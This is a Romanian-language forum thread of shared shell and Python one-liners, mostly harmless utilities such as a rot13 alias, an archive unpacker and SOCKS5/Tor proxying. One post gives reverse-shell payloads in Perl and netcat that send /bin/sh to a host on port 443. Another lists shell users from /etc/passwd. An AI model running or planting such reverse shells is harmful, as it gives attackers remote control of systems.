Deepcuts Posted August 7, 2015 Report Posted August 7, 2015 Eliminare DOS carriage returns dintr-un fisier text editat in Windowstr -d '\r' < bad-file > good-file Quote
Eric Posted August 8, 2015 Report Posted August 8, 2015 Netcatperl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"127.0.0.1:443");STDIN->fdopen($c,r);$~->fdopen($c,w);exec("/bin/sh");'netcat -e /bin/sh 127.0.0.1 443 Quote
black_death_c4t Posted August 22, 2015 Report Posted August 22, 2015 Pe linux , gasit userii ce au "bin/sh"cat /etc/passwd | grep "bin/sh" | cut -f1 -d ":" | sortgrep "bin/sh" /etc/passwd | cut -f1 -d ":" | sortpoti da greupului direct fisierul in care sa gaseasca liniile Quote
pr00f Posted August 22, 2015 Report Posted August 22, 2015 alias rot13='tr a-zA-Z n-za-mN-ZA-M'unpack () { if [ -f "$1" ] ; then case "$1" in *.tar.bz2) tar xvjf "$1" ;; *.tar.gz) tar xvzf "$1" ;; *.bz2) bunzip2 "$1" ;; *.rar) rar x "$1" ;; *.gz) gunzip "$1" ;; *.tar) tar xvf "$1" ;; *.tbz2) tar xvjf "$1" ;; *.tgz) tar xvzf "$1" ;; *.zip) unzip "$1" ;; *.Z) uncompress "$1" ;; *.7z) 7z x "$1" ;; *.deb) ar vx "$1" ;; *) echo "don't know how to extract '"$1"'" ;; esac else echo "'$1' is not a valid file" fi} Quote
pr00f Posted October 4, 2015 Report Posted October 4, 2015 SOCKS in Python - requests are doar HTTP import socksimport socketimport requestssocks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)socket.socket = socks.socksocketprint requests.get("http://ip.luz.lu").text Quote
Active Members dancezar Posted October 4, 2015 Active Members Report Posted October 4, 2015 SOCKS in Python - requests are doar HTTP import socksimport socketimport requestssocks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)socket.socket = socks.socksocketprint requests.get("http://ip.luz.lu").textimport sockss = socks.socksocket()s.setproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', 1234)s.connect(("gmail.com",25))rez=s.recv(2000)s.close()print rezDaca vrei ca un socket sa treaca printr-un socks5 Quote